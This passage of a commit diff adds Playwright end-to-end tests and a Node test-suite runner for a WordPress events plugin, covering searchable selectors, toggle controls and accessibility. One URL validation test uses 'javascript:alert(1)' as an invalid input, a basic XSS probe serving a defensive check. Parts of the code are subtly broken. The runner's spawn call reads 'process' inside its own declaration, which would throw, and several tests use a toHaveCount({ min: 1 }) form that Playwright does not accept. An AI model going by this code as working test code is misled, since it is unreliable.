await expect(page.locator('#new-venue-address')).toBeVisible();
await expect(page.locator('#new-venue-capacity')).toBeVisible();
});
});
test.describe('Search Functionality', () => {
test('should perform case-insensitive search', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
await input.type('JOHN'); // Uppercase
const options = await page.locator('.organizer-dropdown .option:visible').all();
for (const option of options) {
const text = await option.textContent();
expect(text.toLowerCase()).toContain('john');
}
});
test('should search across multiple fields', async ({ page }) => {
const input = page.locator('.venue-selector input');
await input.click();
await input.type('conference'); // Could match name or description
await expect(page.locator('.venue-dropdown .option:visible')).toHaveCount({ min: 1 });
});
test('should show no results message for empty search', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
await input.type('zyxwvu'); // Non-existent search
await expect(page.locator('.organizer-dropdown .no-results')).toBeVisible();
await expect(page.locator('.organizer-dropdown .no-results')).toContainText('No organizers found');
});
test('should clear search when input is cleared', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
await input.type('john');
// Clear input
await input.fill('');
// Should show all options again
const visibleCount = await page.locator('.organizer-dropdown .option:visible').count();
const totalCount = await page.locator('.organizer-dropdown .option').count();
expect(visibleCount).toBe(totalCount);
});
});
test.describe('Keyboard Navigation', () => {
test('should support arrow key navigation in dropdown', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
// Navigate with arrow keys
await page.keyboard.press('ArrowDown');
await expect(page.locator('.organizer-dropdown .option.highlighted')).toBeVisible();
await page.keyboard.press('ArrowDown');
const highlightedOptions = await page.locator('.organizer-dropdown .option.highlighted').count();
expect(highlightedOptions).toBe(1); // Only one should be highlighted
// Navigate up
await page.keyboard.press('ArrowUp');
await expect(page.locator('.organizer-dropdown .option.highlighted')).toBeVisible();
});
test('should select option with Enter key', async ({ page }) => {
const input = page.locator('.organizer-selector input');
const selector = page.locator('.organizer-selector');
await input.click();
await page.keyboard.press('ArrowDown');
await page.keyboard.press('Enter');
// Should have selected an organizer
const selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBe(1);
});
test('should close dropdown with Escape key', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
await expect(page.locator('.organizer-dropdown')).toBeVisible();
await page.keyboard.press('Escape');
await expect(page.locator('.organizer-dropdown')).not.toBeVisible();
});
test('should support tab navigation between selectors', async ({ page }) => {
// Start from organizer selector
await page.locator('.organizer-selector input').click();
// Tab to category selector
await page.keyboard.press('Tab');
const categoryFocused = await page.evaluate(() =>
document.activeElement.closest('.category-selector') !== null
);
expect(categoryFocused).toBe(true);
// Tab to venue selector
await page.keyboard.press('Tab');
const venueFocused = await page.evaluate(() =>
document.activeElement.closest('.venue-selector') !== null
);
expect(venueFocused).toBe(true);
});
});
test.describe('Accessibility', () => {
test('should have proper ARIA attributes', async ({ page }) => {
const organizerInput = page.locator('.organizer-selector input');
// Check ARIA attributes
await expect(organizerInput).toHaveAttribute('role', 'combobox');
await expect(organizerInput).toHaveAttribute('aria-expanded', 'false');
await expect(organizerInput).toHaveAttribute('aria-haspopup', 'listbox');
// Open dropdown
await organizerInput.click();
await expect(organizerInput).toHaveAttribute('aria-expanded', 'true');
// Check dropdown ARIA
const dropdown = page.locator('.organizer-dropdown');
await expect(dropdown).toHaveAttribute('role', 'listbox');
const options = page.locator('.organizer-dropdown .option');
await expect(options.first()).toHaveAttribute('role', 'option');
});
test('should announce selections to screen readers', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
await page.locator('.organizer-dropdown .option').first().click();
// Check for live region announcement
await expect(page.locator('[aria-live="polite"]')).toContainText('Organizer selected');
});
test('should support screen reader navigation', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
// Options should be readable by screen reader
const firstOption = page.locator('.organizer-dropdown .option').first();
const ariaLabel = await firstOption.getAttribute('aria-label');
expect(ariaLabel).toBeTruthy();
});
test('should handle focus management properly', async ({ page }) => {
const input = page.locator('.organizer-selector input');
// Focus should return to input after selection
await input.click();
await page.locator('.organizer-dropdown .option').first().click();
const focused = await page.evaluate(() =>
document.activeElement.classList.contains('selector-input')
);
expect(focused).toBe(true);
});
});
test.describe('Error Handling', () => {
test('should handle AJAX errors gracefully', async ({ page }) => {
// Mock AJAX failure
await page.route('**/*organizer*', route => route.abort());
const input = page.locator('.organizer-selector input');
await input.click();
// Should show error message
await expect(page.locator('.organizer-dropdown .error-message')).toBeVisible();
await expect(page.locator('.organizer-dropdown .error-message')).toContainText('Failed to load organizers');
});
test('should recover from network errors', async ({ page }) => {
// Temporarily fail requests
await page.route('**/*organizer*', route => route.abort());
const input = page.locator('.organizer-selector input');
await input.click();
await expect(page.locator('.organizer-dropdown .error-message')).toBeVisible();
// Restore network and retry
await page.unroute('**/*organizer*');
await page.locator('.retry-btn').click();
await expect(page.locator('.organizer-dropdown .option')).toHaveCount({ min: 1 });
});
test('should validate selection limits client-side', async ({ page }) => {
// Mock server that would allow over-limit selections
await page.addInitScript(() => {
window.organizerSelectionLimit = 3;
});
const selector = page.locator('.organizer-selector');
const input = selector.locator('input');
// Try to exceed limit programmatically
await page.evaluate(() => {
const selector = document.querySelector('.organizer-selector');
// Simulate multiple rapid selections
for (let i = 0; i < 5; i++) {
const event = new CustomEvent('organizer-selected', {
detail: { id: i, name: `Organizer ${i}` }
});
selector.dispatchEvent(event);
}
});
// Should still respect client-side limit
const selectedCount = await selector.locator('.selected-item').count();
expect(selectedCount).toBeLessThanOrEqual(3);
});
});
test.describe('Performance', () => {
test('should handle large datasets efficiently', async ({ page }) => {
// Mock large dataset
await page.addInitScript(() => {
window.mockLargeDataset = true;
window.organizerCount = 1000;
});
const input = page.locator('.organizer-selector input');
const startTime = Date.now();
await input.click();
await expect(page.locator('.organizer-dropdown')).toBeVisible();
const endTime = Date.now();
// Should render within reasonable time
expect(endTime - startTime).toBeLessThan(1000); // 1 second
});
test('should virtualize long lists', async ({ page }) => {
const input = page.locator('.organizer-selector input');
await input.click();
// Check if virtualization is implemented
const visibleOptions = await page.locator('.organizer-dropdown .option:visible').count();
const totalOptions = await page.locator('.organizer-dropdown .option').count();
// If there are many options, only a subset should be visible
if (totalOptions > 50) {
expect(visibleOptions).toBeLessThan(totalOptions);
}
});
test('should debounce search requests', async ({ page }) => {
let requestCount = 0;
page.on('request', request => {
if (request.url().includes('search')) {
requestCount++;
}
});
const input = page.locator('.organizer-selector input');
await input.click();
// Type rapidly
await input.type('john', { delay: 50 });
await page.waitForTimeout(1000); // Wait for debounce
// Should not make a request for each keystroke
expect(requestCount).toBeLessThan(4); // Less than number of characters typed
});
});
});

547
tests/test-suite-runner.js Executable file
View file

@ -0,0 +1,547 @@
#!/usr/bin/env node
/**
* HVAC Event Creation Test Suite Runner
*
* Comprehensive test suite runner for all UI/UX enhanced functionality.
* Runs tests in optimal order with proper setup and teardown.
*
* Usage:
* node tests/test-suite-runner.js
* node tests/test-suite-runner.js --suite=security
* node tests/test-suite-runner.js --parallel=false
* node tests/test-suite-runner.js --browser=chromium
*/
const { execSync, spawn } = require('child_process');
const path = require('path');
const fs = require('fs');
// Test suites in execution order
const TEST_SUITES = {
security: {
file: 'test-event-creation-security.js',
description: 'Security vulnerability tests (XSS, CSRF, file upload)',
priority: 1,
timeout: 60000,
retries: 2
},
'rich-text-editor': {
file: 'test-rich-text-editor.js',
description: 'Rich text editor functionality and validation',
priority: 2,
timeout: 45000,
retries: 1
},
'featured-image-upload': {
file: 'test-featured-image-upload.js',
description: 'Featured image upload with drag-and-drop',
priority: 2,
timeout: 60000,
retries: 2
},
'searchable-selectors': {
file: 'test-searchable-selectors.js',
description: 'Multi-select and searchable selector components',
priority: 2,
timeout: 45000,
retries: 1
},
'modal-forms': {
file: 'test-modal-forms.js',
description: 'Modal form creation and validation',
priority: 3,
timeout: 45000,
retries: 1
},
'toggle-controls': {
file: 'test-toggle-controls.js',
description: 'Toggle switch controls and state management',
priority: 3,
timeout: 30000,
retries: 1
},
'integration': {
file: 'test-integration-comprehensive.js',
description: 'End-to-end integration tests',
priority: 4,
timeout: 120000,
retries: 2
}
};
// Configuration
const CONFIG = {
browser: process.env.BROWSER || 'chromium',
headless: process.env.HEADLESS !== 'false',
baseUrl: process.env.BASE_URL || 'http://localhost:8080',
parallel: process.argv.includes('--parallel=false') ? false : true,
maxWorkers: process.env.MAX_WORKERS || '4',
timeout: 120000,
retries: 2
};
// Parse command line arguments
const args = process.argv.slice(2);
const suiteFilter = args.find(arg => arg.startsWith('--suite='))?.split('=')[1];
const browserArg = args.find(arg => arg.startsWith('--browser='))?.split('=')[1];
if (browserArg) CONFIG.browser = browserArg;
class TestRunner {
constructor() {
this.results = {
total: 0,
passed: 0,
failed: 0,
skipped: 0,
duration: 0,
suiteResults: {}
};
}
async run() {
console.log('🚀 HVAC Event Creation Test Suite Runner');
console.log('==========================================');
console.log(`Browser: ${CONFIG.browser}`);
console.log(`Headless: ${CONFIG.headless}`);
console.log(`Base URL: ${CONFIG.baseUrl}`);
console.log(`Parallel: ${CONFIG.parallel}`);
console.log('');
// Validate environment
await this.validateEnvironment();
// Setup test environment
await this.setupTestEnvironment();
// Get test suites to run
const suitesToRun = this.getSuitesToRun();
console.log(`📋 Running ${suitesToRun.length} test suites:`);
suitesToRun.forEach(suite => {
console.log(` ${suite.name}: ${suite.config.description}`);
});
console.log('');
const startTime = Date.now();
try {
if (CONFIG.parallel) {
await this.runSuitesParallel(suitesToRun);
} else {
await this.runSuitesSequential(suitesToRun);
}
} catch (error) {
console.error('❌ Test suite runner failed:', error.message);
process.exit(1);
}
this.results.duration = Date.now() - startTime;
// Generate report
await this.generateReport();
// Cleanup
await this.cleanup();
// Exit with appropriate code
process.exit(this.results.failed > 0 ? 1 : 0);
}
async validateEnvironment() {
console.log('🔍 Validating test environment...');
// Check if Playwright is installed
try {
execSync('npx playwright --version', { stdio: 'pipe' });
} catch (error) {
console.error('❌ Playwright not found. Please install with: npm install @playwright/test');
process.exit(1);
}
// Check if test server is running
try {
const response = await fetch(CONFIG.baseUrl);
if (!response.ok) {
throw new Error(`Server returned ${response.status}`);
}
} catch (error) {
console.error(`❌ Test server not accessible at ${CONFIG.baseUrl}`);
console.log('💡 Start the test server with: docker compose -f tests/docker-compose.test.yml up -d');
process.exit(1);
}
// Check test files exist
const missingFiles = [];
Object.values(TEST_SUITES).forEach(suite => {
const filePath = path.join(__dirname, suite.file);
if (!fs.existsSync(filePath)) {
missingFiles.push(suite.file);
}
});
if (missingFiles.length > 0) {
console.error('❌ Missing test files:', missingFiles.join(', '));
process.exit(1);
}
console.log('✅ Environment validation passed');
}
async setupTestEnvironment() {
console.log('🛠️ Setting up test environment...');
// Create test fixtures directory
const fixturesDir = path.join(__dirname, 'fixtures', 'images');
if (!fs.existsSync(fixturesDir)) {
fs.mkdirSync(fixturesDir, { recursive: true });
}
// Create minimal test images
await this.createTestFixtures(fixturesDir);
// Verify test database state
await this.verifyTestDatabase();
console.log('✅ Test environment setup complete');
}
async createTestFixtures(dir) {
// Create minimal valid image files for testing
const validJpeg = Buffer.from([
0xFF, 0xD8, 0xFF, 0xE0, 0x00, 0x10, 0x4A, 0x46, 0x49, 0x46,
0x00, 0x01, 0x01, 0x01, 0x00, 0x48, 0x00, 0x48, 0x00, 0x00,
// ... minimal JPEG data
0xFF, 0xD9
]);
const testImages = {
'hvac-training.jpg': validJpeg,
'manual-j-training.jpg': validJpeg,
'valid-image.jpg': validJpeg
};
Object.entries(testImages).forEach(([filename, data]) => {
const filePath = path.join(dir, filename);
if (!fs.existsSync(filePath)) {
fs.writeFileSync(filePath, data);
}
});
}
async verifyTestDatabase() {
// Check if test data is available
try {
const response = await fetch(`${CONFIG.baseUrl}/wp-json/hvac/v1/test-data-status`);
if (response.ok) {
const data = await response.json();
if (!data.hasTestData) {
console.warn('⚠️ Test database may need seeding. Run: bin/seed-comprehensive-events.sh');
}
}
} catch (error) {
console.warn('⚠️ Could not verify test database status');
}
}
getSuitesToRun() {
const suites = [];
if (suiteFilter) {
if (TEST_SUITES[suiteFilter]) {
suites.push({ name: suiteFilter, config: TEST_SUITES[suiteFilter] });
} else {
console.error(`❌ Unknown test suite: ${suiteFilter}`);
console.log('Available suites:', Object.keys(TEST_SUITES).join(', '));
process.exit(1);
}
} else {
// Run all suites in priority order
Object.entries(TEST_SUITES)
.sort(([,a], [,b]) => a.priority - b.priority)
.forEach(([name, config]) => {
suites.push({ name, config });
});
}
return suites;
}
async runSuitesParallel(suites) {
console.log('⚡ Running test suites in parallel...\n');
const promises = suites.map(suite => this.runSuite(suite));
const results = await Promise.allSettled(promises);
results.forEach((result, index) => {
const suiteName = suites[index].name;
if (result.status === 'fulfilled') {
this.results.suiteResults[suiteName] = result.value;
} else {
this.results.suiteResults[suiteName] = {
passed: 0,
failed: 1,
error: result.reason.message
};
}
});
}
async runSuitesSequential(suites) {
console.log('🔄 Running test suites sequentially...\n');
for (const suite of suites) {
try {
const result = await this.runSuite(suite);
this.results.suiteResults[suite.name] = result;
} catch (error) {
this.results.suiteResults[suite.name] = {
passed: 0,
failed: 1,
error: error.message
};
}
}
}
async runSuite(suite) {
console.log(`🧪 Running ${suite.name}...`);
const playwrightArgs = [
'test',
path.join(__dirname, suite.config.file),
`--project=${CONFIG.browser}`,
`--timeout=${suite.config.timeout || CONFIG.timeout}`,
`--retries=${suite.config.retries || CONFIG.retries}`,
'--reporter=json'
];
if (CONFIG.headless) {
playwrightArgs.push('--headed=false');
}
return new Promise((resolve, reject) => {
const process = spawn('npx', ['playwright', ...playwrightArgs], {
stdio: ['ignore', 'pipe', 'pipe'],
env: {
...process.env,
BASE_URL: CONFIG.baseUrl
}
});
let stdout = '';
let stderr = '';
process.stdout.on('data', (data) => {
stdout += data.toString();
});
process.stderr.on('data', (data) => {
stderr += data.toString();
});
process.on('close', (code) => {
try {
// Parse Playwright JSON output
const jsonOutput = stdout.split('\n')
.find(line => line.trim().startsWith('{'))
?.trim();
if (jsonOutput) {
const results = JSON.parse(jsonOutput);
const suiteResult = {
passed: results.stats?.passed || 0,
failed: results.stats?.failed || 0,
skipped: results.stats?.skipped || 0,
duration: results.stats?.duration || 0,
details: results.suites || []
};
if (code === 0) {
console.log(`${suite.name}: ${suiteResult.passed} passed, ${suiteResult.failed} failed`);
} else {
console.log(`${suite.name}: ${suiteResult.passed} passed, ${suiteResult.failed} failed`);
}
resolve(suiteResult);
} else {
// Fallback parsing
const passed = (stdout.match(/\d+ passed/g) || ['0'])[0].split(' ')[0];
const failed = (stdout.match(/\d+ failed/g) || ['0'])[0].split(' ')[0];
const result = {
passed: parseInt(passed),
failed: parseInt(failed),
error: code !== 0 ? stderr : null
};
if (code === 0) {
console.log(`${suite.name}: ${result.passed} passed`);
} else {
console.log(`${suite.name}: ${result.passed} passed, ${result.failed} failed`);
}
resolve(result);
}
} catch (parseError) {
reject(new Error(`Failed to parse test results: ${parseError.message}`));
}
});
// Kill test after maximum timeout
setTimeout(() => {
process.kill();
reject(new Error(`Test suite ${suite.name} timed out`));
}, suite.config.timeout + 30000);
});
}
async generateReport() {
console.log('\n📊 Test Results Summary');
console.log('========================');
// Aggregate results
Object.values(this.results.suiteResults).forEach(result => {
this.results.total += (result.passed || 0) + (result.failed || 0) + (result.skipped || 0);
this.results.passed += result.passed || 0;
this.results.failed += result.failed || 0;
this.results.skipped += result.skipped || 0;
});
// Suite-by-suite results
Object.entries(this.results.suiteResults).forEach(([suiteName, result]) => {
const status = (result.failed || 0) > 0 ? '❌' : '✅';
console.log(`${status} ${suiteName}: ${result.passed || 0} passed, ${result.failed || 0} failed`);
if (result.error) {
console.log(` Error: ${result.error}`);
}
});
console.log('');
console.log(`Total Tests: ${this.results.total}`);
console.log(`Passed: ${this.results.passed}`);
console.log(`Failed: ${this.results.failed} ${this.results.failed > 0 ? '❌' : ''}`);
console.log(`Skipped: ${this.results.skipped}`);
console.log(`Duration: ${(this.results.duration / 1000).toFixed(2)}s`);
const successRate = this.results.total > 0
? ((this.results.passed / this.results.total) * 100).toFixed(1)
: '0.0';
console.log(`Success Rate: ${successRate}%`);
// Generate HTML report
await this.generateHtmlReport();
console.log('\n📄 Detailed HTML report generated: tests/reports/test-results.html');
}
async generateHtmlReport() {
const reportsDir = path.join(__dirname, 'reports');
if (!fs.existsSync(reportsDir)) {
fs.mkdirSync(reportsDir, { recursive: true });
}
const htmlContent = this.generateHtmlContent();
fs.writeFileSync(path.join(reportsDir, 'test-results.html'), htmlContent);
}
generateHtmlContent() {
const timestamp = new Date().toISOString();
const successRate = this.results.total > 0
? ((this.results.passed / this.results.total) * 100).toFixed(1)
: '0.0';
return `<!DOCTYPE html>
<html>
<head>
<title>HVAC Event Creation Test Results</title>
<style>
body { font-family: Arial, sans-serif; margin: 40px; background: #f5f5f5; }
.container { background: white; padding: 30px; border-radius: 8px; box-shadow: 0 2px 4px rgba(0,0,0,0.1); }
.header { text-align: center; margin-bottom: 30px; }
.summary { display: flex; justify-content: space-around; margin: 30px 0; }
.metric { text-align: center; padding: 20px; border-radius: 8px; background: #f8f9fa; }
.metric.passed { background: #d4edda; }
.metric.failed { background: #f8d7da; }
.suite { margin: 20px 0; padding: 15px; border: 1px solid #ddd; border-radius: 5px; }
.suite.passed { border-color: #28a745; background: #f8fff8; }
.suite.failed { border-color: #dc3545; background: #fff8f8; }
.suite h3 { margin: 0 0 10px 0; }
.error { background: #f8f8f8; padding: 10px; border-radius: 3px; font-family: monospace; margin-top: 10px; }
</style>
</head>
<body>
<div class="container">
<div class="header">
<h1>🧪 HVAC Event Creation Test Results</h1>
<p>Generated: ${timestamp}</p>
<p>Environment: ${CONFIG.baseUrl} (${CONFIG.browser})</p>
</div>
<div class="summary">
<div class="metric">
<h3>${this.results.total}</h3>
<p>Total Tests</p>
</div>
<div class="metric passed">
<h3>${this.results.passed}</h3>
<p>Passed</p>
</div>
<div class="metric failed">
<h3>${this.results.failed}</h3>
<p>Failed</p>
</div>
<div class="metric">
<h3>${successRate}%</h3>
<p>Success Rate</p>
</div>
</div>
<h2>Test Suites</h2>
${Object.entries(this.results.suiteResults).map(([suiteName, result]) => `
<div class="suite ${(result.failed || 0) > 0 ? 'failed' : 'passed'}">
<h3>${(result.failed || 0) > 0 ? '❌' : '✅'} ${suiteName}</h3>
<p><strong>Description:</strong> ${TEST_SUITES[suiteName]?.description || 'Test suite'}</p>
<p>
<strong>Results:</strong>
${result.passed || 0} passed,
${result.failed || 0} failed,
${result.skipped || 0} skipped
</p>
${result.duration ? `<p><strong>Duration:</strong> ${(result.duration / 1000).toFixed(2)}s</p>` : ''}
${result.error ? `<div class="error"><strong>Error:</strong> ${result.error}</div>` : ''}
</div>
`).join('')}
<div style="margin-top: 40px; text-align: center; color: #666;">
<p>HVAC Community Events Plugin - UI/UX Enhancement Test Suite</p>
</div>
</div>
</body>
</html>`;
}
async cleanup() {
console.log('🧹 Cleaning up test environment...');
// Clean up temporary test files if needed
const tempDir = path.join(__dirname, 'temp');
if (fs.existsSync(tempDir)) {
fs.rmSync(tempDir, { recursive: true, force: true });
}
console.log('✅ Cleanup complete');
}
}
// Run the test suite
if (require.main === module) {
const runner = new TestRunner();
runner.run().catch(error => {
console.error('Fatal error:', error);
process.exit(1);
});
}
module.exports = TestRunner;

View file

@ -0,0 +1,560 @@
const { test, expect } = require('@playwright/test');
const { HVACTestBase } = require('./page-objects/HVACTestBase');
/**
* Toggle Controls Test Suite
*
* Tests the interactive toggle switches that show/hide form sections:
* - Virtual Event toggle Virtual event configuration fields
* - Enable RSVP toggle RSVP configuration options
* - Enable Ticketing toggle Ticketing subsection fields
* - State management and persistence
* - Accessibility and keyboard support
* - Animation and visual feedback
*/
test.describe('Toggle Controls System', () => {
let hvacTest;
test.beforeEach(async ({ page }) => {
hvacTest = new HVACTestBase(page);
await hvacTest.loginAsTrainer();
await hvacTest.navigateToCreateEvent();
// Wait for toggle controls to be ready
await expect(page.locator('.virtual-event-toggle')).toBeVisible();
await expect(page.locator('.rsvp-toggle')).toBeVisible();
await expect(page.locator('.ticketing-toggle')).toBeVisible();
});
test.describe('Virtual Event Toggle', () => {
test('should initialize in correct default state', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
const configSection = page.locator('.virtual-event-config');
// Toggle should be off by default
const isChecked = await toggle.isChecked();
expect(isChecked).toBe(false);
// Config section should be hidden
const isVisible = await configSection.isVisible();
expect(isVisible).toBe(false);
});
test('should show virtual event fields when enabled', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
const configSection = page.locator('.virtual-event-config');
// Enable virtual event
await toggle.click();
// Should be checked
const isChecked = await toggle.isChecked();
expect(isChecked).toBe(true);
// Config section should be visible
await expect(configSection).toBeVisible();
// Virtual event fields should be visible
await expect(page.locator('#virtual-meeting-url')).toBeVisible();
await expect(page.locator('#virtual-meeting-platform')).toBeVisible();
await expect(page.locator('#virtual-meeting-id')).toBeVisible();
await expect(page.locator('#virtual-meeting-password')).toBeVisible();
await expect(page.locator('#virtual-meeting-instructions')).toBeVisible();
});
test('should hide virtual event fields when disabled', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
const configSection = page.locator('.virtual-event-config');
// Enable then disable
await toggle.click();
await expect(configSection).toBeVisible();
await toggle.click();
// Should be unchecked
const isChecked = await toggle.isChecked();
expect(isChecked).toBe(false);
// Config section should be hidden
await expect(configSection).not.toBeVisible();
});
test('should preserve field values when toggled', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
const urlField = page.locator('#virtual-meeting-url');
// Enable and fill data
await toggle.click();
await urlField.fill('https://zoom.us/j/123456789');
// Disable toggle
await toggle.click();
// Re-enable toggle
await toggle.click();
// Value should be preserved
const preservedValue = await urlField.inputValue();
expect(preservedValue).toBe('https://zoom.us/j/123456789');
});
test('should validate virtual event URL format', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
const urlField = page.locator('#virtual-meeting-url');
await toggle.click();
// Test invalid URLs
const invalidUrls = [
'not-a-url',
'ftp://invalid.com',
'javascript:alert(1)',
'http://'
];
for (const url of invalidUrls) {
await urlField.fill(url);
await urlField.blur();
await expect(page.locator('#virtual-meeting-url-error')).toContainText('Invalid URL format');
}
// Test valid URL
await urlField.fill('https://zoom.us/j/123456789');
await urlField.blur();
await expect(page.locator('#virtual-meeting-url-error')).not.toBeVisible();
});
test('should show platform-specific fields', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
const platformSelect = page.locator('#virtual-meeting-platform');
await toggle.click();
// Test Zoom platform
await platformSelect.selectOption('zoom');
await expect(page.locator('#zoom-meeting-id-field')).toBeVisible();
await expect(page.locator('#zoom-passcode-field')).toBeVisible();
// Test Teams platform
await platformSelect.selectOption('teams');
await expect(page.locator('#teams-meeting-id-field')).toBeVisible();
await expect(page.locator('#zoom-meeting-id-field')).not.toBeVisible();
// Test Generic platform
await platformSelect.selectOption('generic');
await expect(page.locator('#generic-instructions-field')).toBeVisible();
});
});
test.describe('RSVP Toggle', () => {
test('should initialize in correct default state', async ({ page }) => {
const toggle = page.locator('.rsvp-toggle');
const configSection = page.locator('.rsvp-config');
// Toggle should be off by default
const isChecked = await toggle.isChecked();
expect(isChecked).toBe(false);
// Config section should be hidden
const isVisible = await configSection.isVisible();
expect(isVisible).toBe(false);
});
test('should show RSVP configuration when enabled', async ({ page }) => {
const toggle = page.locator('.rsvp-toggle');
const configSection = page.locator('.rsvp-config');
await toggle.click();
await expect(configSection).toBeVisible();
// RSVP fields should be visible
await expect(page.locator('#rsvp-deadline')).toBeVisible();
await expect(page.locator('#rsvp-capacity')).toBeVisible();
await expect(page.locator('#rsvp-waitlist')).toBeVisible();
await expect(page.locator('#rsvp-confirmation-message')).toBeVisible();
});
test('should validate RSVP deadline is in future', async ({ page }) => {
const toggle = page.locator('.rsvp-toggle');
const deadlineField = page.locator('#rsvp-deadline');
await toggle.click();
// Set deadline to yesterday
const yesterday = new Date();
yesterday.setDate(yesterday.getDate() - 1);
const yesterdayStr = yesterday.toISOString().split('T')[0];
await deadlineField.fill(yesterdayStr);
await deadlineField.blur();
await expect(page.locator('#rsvp-deadline-error')).toContainText('RSVP deadline must be in the future');
});
test('should validate RSVP capacity is positive number', async ({ page }) => {
const toggle = page.locator('.rsvp-toggle');
const capacityField = page.locator('#rsvp-capacity');
await toggle.click();
// Test invalid capacities
const invalidValues = ['0', '-5', 'not-a-number'];
for (const value of invalidValues) {
await capacityField.fill(value);
await capacityField.blur();
await expect(page.locator('#rsvp-capacity-error')).toContainText('Capacity must be a positive number');
}
// Test valid capacity
await capacityField.fill('50');
await capacityField.blur();
await expect(page.locator('#rsvp-capacity-error')).not.toBeVisible();
});
test('should show waitlist options when enabled', async ({ page }) => {
const rsvpToggle = page.locator('.rsvp-toggle');
const waitlistToggle = page.locator('#rsvp-waitlist');
await rsvpToggle.click();
await waitlistToggle.click();
// Waitlist configuration should appear
await expect(page.locator('.waitlist-config')).toBeVisible();
await expect(page.locator('#waitlist-size')).toBeVisible();
await expect(page.locator('#waitlist-notification-message')).toBeVisible();
});
});
test.describe('Ticketing Toggle', () => {
test('should initialize in correct default state', async ({ page }) => {
const toggle = page.locator('.ticketing-toggle');
const configSection = page.locator('.ticketing-config');
// Toggle should be off by default
const isChecked = await toggle.isChecked();
expect(isChecked).toBe(false);
// Config section should be hidden
const isVisible = await configSection.isVisible();
expect(isVisible).toBe(false);
});
test('should show ticketing configuration when enabled', async ({ page }) => {
const toggle = page.locator('.ticketing-toggle');
const configSection = page.locator('.ticketing-config');
await toggle.click();
await expect(configSection).toBeVisible();
// Ticketing fields should be visible
await expect(page.locator('#ticket-name')).toBeVisible();
await expect(page.locator('#ticket-price')).toBeVisible();
await expect(page.locator('#ticket-capacity')).toBeVisible();
await expect(page.locator('#ticket-sales-start')).toBeVisible();
await expect(page.locator('#ticket-sales-end')).toBeVisible();
});
test('should validate ticket price format', async ({ page }) => {
const toggle = page.locator('.ticketing-toggle');
const priceField = page.locator('#ticket-price');
await toggle.click();
// Test invalid prices
const invalidPrices = ['-10', 'abc', '10.999', ''];
for (const price of invalidPrices) {
await priceField.fill(price);
await priceField.blur();
await expect(page.locator('#ticket-price-error')).toContainText('Invalid price format');
}
// Test valid prices
const validPrices = ['0', '10', '99.99', '100.00'];
for (const price of validPrices) {
await priceField.fill(price);
await priceField.blur();
await expect(page.locator('#ticket-price-error')).not.toBeVisible();
}
});
test('should validate ticket sales date range', async ({ page }) => {
const toggle = page.locator('.ticketing-toggle');
const startField = page.locator('#ticket-sales-start');
const endField = page.locator('#ticket-sales-end');
await toggle.click();
// Set end date before start date
const today = new Date();
const tomorrow = new Date(today);
tomorrow.setDate(today.getDate() + 1);
await startField.fill(tomorrow.toISOString().split('T')[0]);
await endField.fill(today.toISOString().split('T')[0]);
await endField.blur();
await expect(page.locator('#ticket-sales-end-error')).toContainText('End date must be after start date');
});
test('should support multiple ticket types', async ({ page }) => {
const toggle = page.locator('.ticketing-toggle');
await toggle.click();
// Add second ticket type
await page.click('#add-ticket-type');
// Should have two ticket sections
const ticketSections = await page.locator('.ticket-type-section').count();
expect(ticketSections).toBe(2);
// Each should have independent fields
await expect(page.locator('#ticket-name-0')).toBeVisible();
await expect(page.locator('#ticket-name-1')).toBeVisible();
});
});
test.describe('Toggle Interactions', () => {
test('should handle conflicting configurations', async ({ page }) => {
const rsvpToggle = page.locator('.rsvp-toggle');
const ticketingToggle = page.locator('.ticketing-toggle');
// Enable both RSVP and ticketing
await rsvpToggle.click();
await ticketingToggle.click();
// Should show warning about conflicting features
await expect(page.locator('.feature-conflict-warning')).toContainText('RSVP and paid tickets cannot be used together');
// Should provide options to resolve conflict
await expect(page.locator('.conflict-resolution')).toBeVisible();
});
test('should update form submission data based on toggles', async ({ page }) => {
const virtualToggle = page.locator('.virtual-event-toggle');
const rsvpToggle = page.locator('.rsvp-toggle');
// Enable virtual event
await virtualToggle.click();
await page.fill('#virtual-meeting-url', 'https://zoom.us/j/123456789');
// Check hidden form data
let hiddenData = await page.locator('input[name="event_meta"]').inputValue();
let metaData = JSON.parse(hiddenData);
expect(metaData.virtual_event).toBe(true);
expect(metaData.virtual_url).toBe('https://zoom.us/j/123456789');
// Enable RSVP
await rsvpToggle.click();
await page.fill('#rsvp-capacity', '100');
hiddenData = await page.locator('input[name="event_meta"]').inputValue();
metaData = JSON.parse(hiddenData);
expect(metaData.rsvp_enabled).toBe(true);
expect(metaData.rsvp_capacity).toBe('100');
});
test('should maintain toggle states during form autosave', async ({ page }) => {
const virtualToggle = page.locator('.virtual-event-toggle');
const rsvpToggle = page.locator('.rsvp-toggle');
// Set initial states
await virtualToggle.click();
await rsvpToggle.click();
// Trigger autosave
await page.fill('#event_title', 'Autosave Test Event');
await page.waitForTimeout(3000); // Wait for autosave
// States should be preserved
expect(await virtualToggle.isChecked()).toBe(true);
expect(await rsvpToggle.isChecked()).toBe(true);
// Config sections should still be visible
await expect(page.locator('.virtual-event-config')).toBeVisible();
await expect(page.locator('.rsvp-config')).toBeVisible();
});
test('should handle rapid toggle clicks', async ({ page }) => {
const toggle = page.locator('.virtual-event-toggle');
const configSection = page.locator('.virtual-event-config');
// Rapidly click toggle multiple times
for (let i = 0; i < 10; i++) {
await toggle.click();
await page.waitForTimeout(50);
}
// Final state should be consistent
const isChecked = await toggle.isChecked();
const isVisible = await configSection.isVisible();
expect(isChecked).toBe(isVisible);
});
});
test.describe('Accessibility', () => {
test('should have proper ARIA labels and roles', async ({ page }) => {
const toggles = [
'.virtual-event-toggle',
'.rsvp-toggle',
'.ticketing-toggle'
];
for (const toggleSelector of toggles) {
const toggle = page.locator(toggleSelector);
// Should have proper role
await expect(toggle).toHaveAttribute('role', 'switch');
// Should have aria-label or aria-labelledby
